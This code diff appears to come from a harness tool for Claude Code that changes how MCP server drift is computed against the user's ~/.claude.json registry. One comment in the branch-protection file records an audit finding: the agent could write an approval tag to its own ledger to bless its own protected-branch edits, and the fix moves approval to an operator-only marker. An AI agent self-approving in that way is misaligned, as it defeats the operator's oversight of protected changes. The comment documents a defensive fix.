  stdinIsTTY?: boolean;
14
+ /**
15
+ * Test seam (D-101/D-102, task 83d8d03a): explicit override for the
16
+ * Claude Code user-scope MCP registry file (~/.claude.json /
17
+ * $CLAUDE_CONFIG_DIR/.claude.json) `adopt` reads READ-ONLY to compute
18
+ * MCP drift. Takes precedence over `env`. Production callers leave this
19
+ * unset; the CLI never needs to pass it since the real registry always
20
+ * lives at the resolved default path.
21
+ */
22
+ registryPath?: string;
23
+ /**
24
+ * Override for process.env (CLAUDE_CONFIG_DIR lookup) used to resolve
25
+ * the default registry path when `registryPath` is not given. Defaults
26
+ * to `process.env`.
27
+ */
28
+ env?: NodeJS.ProcessEnv;
14
29
  }
15
30
  export interface AdoptResult {
16
31
  manifestPath: string;
@@ -31,5 +46,20 @@ export interface AdoptResult {
31
46
  replacedMcpNames: string[];
32
47
  /** Human-readable status: "no-drift" | "declined" | "applied". */
33
48
  outcome: "no-drift" | "declined" | "applied";
49
+ /**
50
+ * Names present in a legacy/dead top-level `mcpServers` block inside
51
+ * `settingsPath` (D-101, task 83d8d03a). Claude Code does not read this
52
+ * file for MCP registration at runtime (io/claude-mcp.ts:1-9) — this is
53
+ * surfaced purely as a cleanup hint, NEVER as a source of `mcpDrift`.
54
+ * Sorted; empty when `settingsPath` has no such block.
55
+ */
56
+ deadSettingsMcpNames: string[];
57
+ /**
58
+ * Set when the effective MCP registry file could not be read safely
59
+ * (malformed JSON, `mcpServers` not an object — an ENOENT/missing file
60
+ * is NOT an error and leaves this unset). MCP drift is computed against
61
+ * an empty registry projection in that case rather than guessing.
62
+ */
63
+ registryReadError?: string;
34
64
  }
35
65
  export declare function adopt(settingsPath: string, opts?: AdoptOptions): Promise<AdoptResult>;
@@ -10,7 +10,8 @@ import { formatValidationErrors, validateBeforeWrite, } from "../../io/validate-
10
10
  import { parseManifest } from "../../schema/index.js";
11
11
  import { applyAdd } from "../add/mutate.js";
12
12
  import { EX_FAIL, EX_NOINPUT, HarnessExitError } from "../exit-codes.js";
13
- import { computeDrift, computeMcpDrift, manifestMcpProjection, manifestProjection, parseSettingsHooks, parseSettingsMcpServers, synthesizeName, } from "./derive.js";
13
+ import { readTopLevelMcpServers, resolveClaudeUserRegistryPath } from "../../io/claude-mcp.js";
14
+ import { computeDrift, computeMcpDrift, manifestMcpProjection, manifestProjection, parseSettingsHooks, parseSettingsMcpServers, projectRegistryMcpServers, synthesizeName, } from "./derive.js";
14
15
  const DEFAULT_BASENAME = "harness.yaml";
15
16
  const LOCK_BASENAME = ".harness.lock";
16
17
  function resolveManifestPath(opts) {
@@ -50,9 +51,22 @@ export async function adopt(settingsPath, opts = {}) {
50
51
  }
51
52
  const settingsHooks = parseSettingsHooks(settingsRaw);
52
53
  const drift = computeDrift(settingsHooks, projection);
53
- const settingsMcp = parseSettingsMcpServers(settingsRaw);
54
+ // D-101: MCP drift is ALWAYS computed against the effective Claude Code
55
+ // user-scope registry (read-only top-level `mcpServers` of
56
+ // ~/.claude.json / $CLAUDE_CONFIG_DIR/.claude.json), regardless of
57
+ // `settingsPath` — Claude Code does not consume settings.json's
58
+ // `mcpServers` block at runtime (io/claude-mcp.ts:1-9). `settingsPath`
59
+ // remains the source for hook adoption above. A dead `mcpServers` block
60
+ // in `settingsPath`, if present, is still surfaced (`deadSettingsMcpNames`)
61
+ // as a cleanup hint but never feeds `mcpDrift`.
62
+ const deadSettingsMcpNames = parseSettingsMcpServers(settingsRaw)
63
+ .map((m) => m.name)
64
+ .sort();
65
+ const registryPath = opts.registryPath ?? resolveClaudeUserRegistryPath({ env: opts.env });
66
+ const { servers: registryServers, error: registryReadError } = readTopLevelMcpServers(registryPath);
67
+ const registryMcp = projectRegistryMcpServers(registryServers);
54
68
  const mcpProjection = manifestMcpProjection(manifest);
55
- const mcpDrift = computeMcpDrift(settingsMcp, mcpProjection);
69
+ const mcpDrift = computeMcpDrift(registryMcp, mcpProjection);
56
70
  if (drift.length === 0 && mcpDrift.length === 0) {
57
71
  return {
58
72
  manifestPath,
@@ -66,6 +80,8 @@ export async function adopt(settingsPath, opts = {}) {
66
80
  adoptedMcpNames: [],
67
81
  replacedMcpNames: [],
68
82
  outcome: "no-drift",
83
+ deadSettingsMcpNames,
84
+ ...(registryReadError !== null ? { registryReadError } : {}),
69
85
  };
70
86
  }
71
87
  const taken = new Set(manifest.hooks.map((h) => h.name));
@@ -135,6 +151,8 @@ export async function adopt(settingsPath, opts = {}) {
135
151
  adoptedMcpNames,
136
152
  replacedMcpNames,
137
153
  outcome: "declined",
154
+ deadSettingsMcpNames,
155
+ ...(registryReadError !== null ? { registryReadError } : {}),
138
156
  };
139
157
  }
140
158
  }
@@ -191,6 +209,8 @@ export async function adopt(settingsPath, opts = {}) {
191
209
  adoptedMcpNames,
192
210
  replacedMcpNames,
193
211
  outcome: "applied",
212
+ deadSettingsMcpNames,
213
+ ...(registryReadError !== null ? { registryReadError } : {}),
194
214
  };
195
215
  }
196
216
  function buildMcpEntry(d, existing) {
@@ -1 +1 @@
1
- {"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/cli/adopt/index.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,MAAM,SAAS,CAAC;AAC9B,OAAO,KAAK,IAAI,MAAM,WAAW,CAAC;AAClC,OAAO,KAAK,QAAQ,MAAM,wBAAwB,CAAC;AACnD,OAAO,EAAE,KAAK,IAAI,SAAS,EAAE,MAAM,MAAM,CAAC;AAC1C,OAAO,EAAE,eAAe,EAAE,MAAM,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C;QACxD,CAAC;IACH,CAAC;IACD,OAAO,KAAK,CAAC;AACf,CAAC;AAED,SAAS,cAAc,CACrB,IAAY,EACZ,CAAc;IASd,sEAAsE;IACtE,0EAA0E;IAC1E,uEAAuE;IACvE,iEAAiE;IACjE,uEAAuE;IACvE,gEAAgE;IAChE,MAAM,KAAK,GAOP;QACF,IAAI;QACJ,KAAK,EAAE,CAAC,CAAC,KAAK;QACd,OAAO,EAAE,CAAC,CAAC,OAAO;QAClB,QAAQ,EAAE,KAAK;KAChB,CAAC;IACF,IAAI,CAAC,CAAC,KAAK,KAAK,SAAS;QAAE,KAAK,CAAC,KAAK,GAAG,CAAC,CAAC,KAAK,CAAC;IACjD,IAAI,CAAC,CAAC,OAAO,KAAK,SAAS;QAAE,KAAK,CAAC,SAAS,GAAG,CAAC,CAAC,OAAO,CAAC;IACzD,OAAO,KAAK,CAAC;AACf,CAAC"}
@@ -25,12 +25,25 @@ export interface SettingsPermissions {
25
25
  }
26
26
  export interface SettingsRoot {
27
27
  hooks: Record<string, SettingsHookGroup[]>;
28
- mcpServers?: Record<string, SettingsMcpServer>;
29
28
  permissions?: SettingsPermissions;
30
29
  }
31
30
  export interface GenerateSettingsResult {
32
31
  root: SettingsRoot;
33
32
  warnings: string[];
33
+ /**
34
+ * The manifest's `tools.mcp[]` entries translated into Claude Code's
35
+ * server-spec shape (command/args/env), INCLUDING the grounding-mcp
36
+ * `EVIDENCE_LEDGER_DB` projection (`projectGroundingEnv`). Deliberately
37
+ * NOT part of `root` and never serialized into settings.json (task
38
+ * init-mcp-wiring-claude-code/T-002): Claude Code does not read the
39
+ * settings.json `mcpServers` block at runtime — see
40
+ * `src/io/claude-mcp.ts`'s module header. User-scope MCP registration
41
+ * goes exclusively through the `claude mcp` CLI now
42
+ * (`ensureMcpServers`); this field is what feeds that path. The init
43
+ * wizard (`src/cli/init/interactive.ts`) reads it directly instead of
44
+ * reading it back out of a written settings.json.
45
+ */
46
+ mcpServers: Record<string, SettingsMcpServer>;
34
47
  }
35
48
  export interface GenerateSettingsExtras {
36
49
  /**
@@ -78,14 +78,18 @@ export function generateSettingsWithWarnings(manifest, extras = {}) {
78
78
  const hooks = byEvent.get(event) ?? [];
79
79
  out.hooks[event] = buildGroups(hooks);
80
80
  }
81
+ // buildMcpServers/projectGroundingEnv still run here (not moved) so the
82
+ // env-tilde and empty-command warnings stay attached to the same
83
+ // `warnings` array regardless of which path (settings.json hooks vs.
84
+ // the claude-mcp Ensure path) consumes the resulting spec map. The
85
+ // result is intentionally NOT projected into `out` — see
86
+ // GenerateSettingsResult.mcpServers.
81
87
  const mcp = buildMcpServers(manifest.tools.mcp, warnings);
82
88
  projectGroundingEnv(manifest, mcp, extras.homeDir);
83
- if (Object.keys(mcp).length > 0)
84
- out.mcpServers = mcp;
85
89
  const permissions = compactPermissions(extras.packPermissions);
86
90
  if (permissions)
87
91
  out.permissions = permissions;
88
- return { root: out, warnings };
92
+ return { root: out, warnings, mcpServers: mcp };
89
93
  }
90
94
  function compactPermissions(p) {
91
95
  if (!p)
@@ -1 +1 @@
1
- {"version":3,"file":"generate-settings.js","sourceRoot":"","sources":["../../../src/cli/apply/generate-settings.ts"],"names":[],"mappings":"AAAA,+EAA+E;AAC/E,iFAAiF;AACjF,sEAAsE;AACtE,EAAE;AACF,sEAAsE;AACtE,EAAE;AACF,uFAAuF;AACvF,EAAE;AACF,wEAAwE;AACxE,0EAA0E;AAC1E,2EAA2E;AAC3E,kCAAkC;AAClC,6EAA6E;AAC7E,0EAA0E;AAC1E,mDAAmD;AACnD,4EAA4E;AAC5E,uEAAuE;AACvE,wEAAwE;AACxE,yEAAyE;AACzE,qEAAqE;AACrE,yEAAyE;AACzE,0EAA0E;AAC1E,sEAAsE;AACtE,yEAAyE;AACzE,2EAA2E;AAC3E,yEAAyE;AACzE,0EAA0E;AAC1E,uEAAuE;AACvE,sEAAsE;AACtE,yEAAyE;AACzE,uEAAuE;AACvE,oEAAoE;AACpE,0EAA0E;AAC1E,qEAAqE;AACrE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ACtB,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAClB,CAAC;QACD,MAAM,KAAK,GACT,GAAG,KAAK,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC,CAAC,CAAC,EAAE,OAAO,EAAE,GAAG,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC;QACjE,MAAM,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IACrB,CAAC;IAED,OAAO,MAAM,CAAC;AAChB,CAAC;AAED,SAAS,iBAAiB,CAAC,CAAO;IAChC,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,OAAO,EAAE,CAAC,CAAC,OAAO,EAAE,OAAO,EAAE,CAAC,CAAC,SAAS,EAAE,CAAC;AACvE,CAAC"}
1
+ {"version":3,"file":"generate-settings.js","sourceRoot":"","sources":["../../../src/cli/apply/generate-settings.ts"],"names":[],"mappings":"AAAA,+EAA+E;AAC/E,iFAAiF;AACjF,sEAAsE;AACtE,EAAE;AACF,sEAAsE;AACtE,EAAE;AACF,uFAAuF;AACvF,EAAE;AACF,wEAAwE;AACxE,0EAA0E;AAC1E,2EAA2E;AAC3E,kCAAkC;AAClC,6EAA6E;AAC7E,0EAA0E;AAC1E,mDAAmD;AACnD,4EAA4E;AAC5E,uEAAuE;AACvE,wEAAwE;AACxE,yEAAyE;AACzE,qEAAqE;AACrE,yEAAyE;AACzE,0EAA0E;AAC1E,sEAAsE;AACtE,yEAAyE;AACzE,2EAA2E;AAC3E,yEAAyE;AACzE,0EAA0E;AAC1E,uEAAuE;AACvE,sEAAsE;AACtE,yEAAyE;AACzE,uEAAuE;AACvE,oEAAoE;AACpE,0EAA0E;AAC1E,qEAAqE;AACrE,uEAAuE;AACvE,wEAAwE;AACxE,0CAA0C;AAC1C,EAAE;AACF,0EAA0E;AAC1E,gBAAgB;AAChB,uEAAuE;AACvE,0DAA0D;AAC1D,4DAA4D;AAC5D,yEAAyE;AACzE,oDAAoD;AAGpD,OAAO,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AAO,EAAE,GAAG,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC;QACjE,MAAM,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IACrB,CAAC;IAED,OAAO,MAAM,CAAC;AAChB,CAAC;AAED,SAAS,iBAAiB,CAAC,CAAO;IAChC,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,OAAO,EAAE,CAAC,CAAC,OAAO,EAAE,OAAO,EAAE,CAAC,CAAC,SAAS,EAAE,CAAC;AACvE,CAAC"}
@@ -3,7 +3,7 @@
3
3
  // The operator's deliberate blessing of a protected-branch edit (version
4
4
  // bumps, CI workflow patches, hotfixes) for one session. Audit finding
5
5
  // #39: the old override was a `branch-protection-ack:` ledger tag, but the
6
- // agent has direct `mcp__agent-grounding__ledger_add` access and could
6
+ // agent has direct `mcp__grounding-mcp__ledger_add` access and could
7
7
  // self-write that tag to bless its own edit. This verb instead writes the
8
8
  // canonical operator-only approval MARKER under
9
9
  // `harness.generated/.approvals/branch-protection-<sessionId>` (the same
@@ -1 +1 @@
1
- {"version":3,"file":"branch-protection.js","sourceRoot":"","sources":["../../../src/cli/approve/branch-protection.ts"],"names":[],"mappings":"AAAA,iEAAiE;AACjE,EAAE;AACF,yEAAyE;AACzE,uEAAuE;AACvE,2EAA2E;AAC3E,uEAAuE;AACvE,0EAA0E;AAC1E,gDAAgD;AAChD,yEAAyE;AACzE,0EAA0E;AAC1E,mEAAmE;AACnE,yEAAyE;AACzE,EAAE;AACF,yEAAyE;AACzE,2EAA2E;AAC3E,2EAA2E;AAC3E,yEAAyE;AAEzE,OAAO,EACL,cAAc,EACd,2BAA2B,GAC5B,MAAM,yDAAyD,CAAC;AACjE,OAAO,EAAE,aAAa,EAAE,MAAM,6BAA6B,CAAC;AAC5D,OAAO,EAAE,mBAAmB,EAAE,MAAM,mCAAmC,CAAC;AACxE,OAAO,EAAE,wBAAwB,EAAE,MAAM,6BAA6B,CAAC;AAEvE,OAAO,EAAE,OAAO,EAAE,gBAAgB,EA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